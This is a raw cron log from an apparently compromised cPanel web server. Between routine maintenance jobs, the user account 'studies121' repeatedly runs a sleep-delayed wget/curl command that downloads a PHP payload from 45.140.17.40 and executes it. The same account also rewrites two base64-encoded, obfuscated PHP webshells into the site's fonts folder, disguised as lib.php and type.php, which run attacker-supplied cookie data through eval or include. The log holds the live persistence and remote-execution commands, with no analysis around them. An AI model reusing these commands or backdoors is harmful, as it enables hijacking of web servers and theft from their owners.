Sep 21 19:23:01 ip-184-168-122-23 CROND[2788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:24:01 ip-184-168-122-23 CROND[3011]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:24:01 ip-184-168-122-23 CROND[3014]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:24:01 ip-184-168-122-23 CROND[3015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:24:01 ip-184-168-122-23 CROND[3013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:24:01 ip-184-168-122-23 CROND[3016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:25:01 ip-184-168-122-23 CROND[3101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:25:01 ip-184-168-122-23 CROND[3100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:25:01 ip-184-168-122-23 CROND[3102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:25:01 ip-184-168-122-23 CROND[3106]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 19:25:01 ip-184-168-122-23 CROND[3109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:25:01 ip-184-168-122-23 CROND[3108]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 19:26:01 ip-184-168-122-23 CROND[3190]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:26:01 ip-184-168-122-23 CROND[3189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:26:01 ip-184-168-122-23 CROND[3194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:26:01 ip-184-168-122-23 CROND[3193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:26:01 ip-184-168-122-23 CROND[3195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:27:01 ip-184-168-122-23 CROND[3290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:27:01 ip-184-168-122-23 CROND[3291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:27:01 ip-184-168-122-23 CROND[3292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:27:01 ip-184-168-122-23 CROND[3294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:28:02 ip-184-168-122-23 CROND[3375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:28:02 ip-184-168-122-23 CROND[3376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:28:02 ip-184-168-122-23 CROND[3374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:28:02 ip-184-168-122-23 CROND[3378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:28:02 ip-184-168-122-23 CROND[3377]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:29:01 ip-184-168-122-23 CROND[3470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:29:01 ip-184-168-122-23 CROND[3472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:29:01 ip-184-168-122-23 CROND[3476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:29:01 ip-184-168-122-23 CROND[3475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:30:01 ip-184-168-122-23 CROND[3562]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 19:30:01 ip-184-168-122-23 CROND[3565]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 19:30:01 ip-184-168-122-23 CROND[3571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:30:01 ip-184-168-122-23 CROND[3568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:30:01 ip-184-168-122-23 CROND[3570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:30:01 ip-184-168-122-23 CROND[3572]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:30:01 ip-184-168-122-23 CROND[3569]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 19:30:01 ip-184-168-122-23 CROND[3573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:31:02 ip-184-168-122-23 CROND[3738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:31:02 ip-184-168-122-23 CROND[3739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:31:02 ip-184-168-122-23 CROND[3743]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 19:31:02 ip-184-168-122-23 CROND[3742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:31:02 ip-184-168-122-23 CROND[3741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:32:01 ip-184-168-122-23 CROND[3824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:32:01 ip-184-168-122-23 CROND[3827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:32:01 ip-184-168-122-23 CROND[3829]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:32:01 ip-184-168-122-23 CROND[3830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:32:01 ip-184-168-122-23 CROND[3828]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:33:02 ip-184-168-122-23 CROND[3942]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:33:02 ip-184-168-122-23 CROND[3945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:33:02 ip-184-168-122-23 CROND[3947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:33:02 ip-184-168-122-23 CROND[3946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:34:01 ip-184-168-122-23 CROND[4033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:34:01 ip-184-168-122-23 CROND[4036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:34:01 ip-184-168-122-23 CROND[4035]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:34:01 ip-184-168-122-23 CROND[4037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:34:01 ip-184-168-122-23 CROND[4038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:35:01 ip-184-168-122-23 CROND[4126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:35:01 ip-184-168-122-23 CROND[4127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:35:01 ip-184-168-122-23 CROND[4128]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 21 19:35:01 ip-184-168-122-23 CROND[4132]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 19:35:01 ip-184-168-122-23 CROND[4137]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 19:35:01 ip-184-168-122-23 CROND[4138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:35:01 ip-184-168-122-23 CROND[4136]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 19:35:01 ip-184-168-122-23 CROND[4140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:36:01 ip-184-168-122-23 CROND[4226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
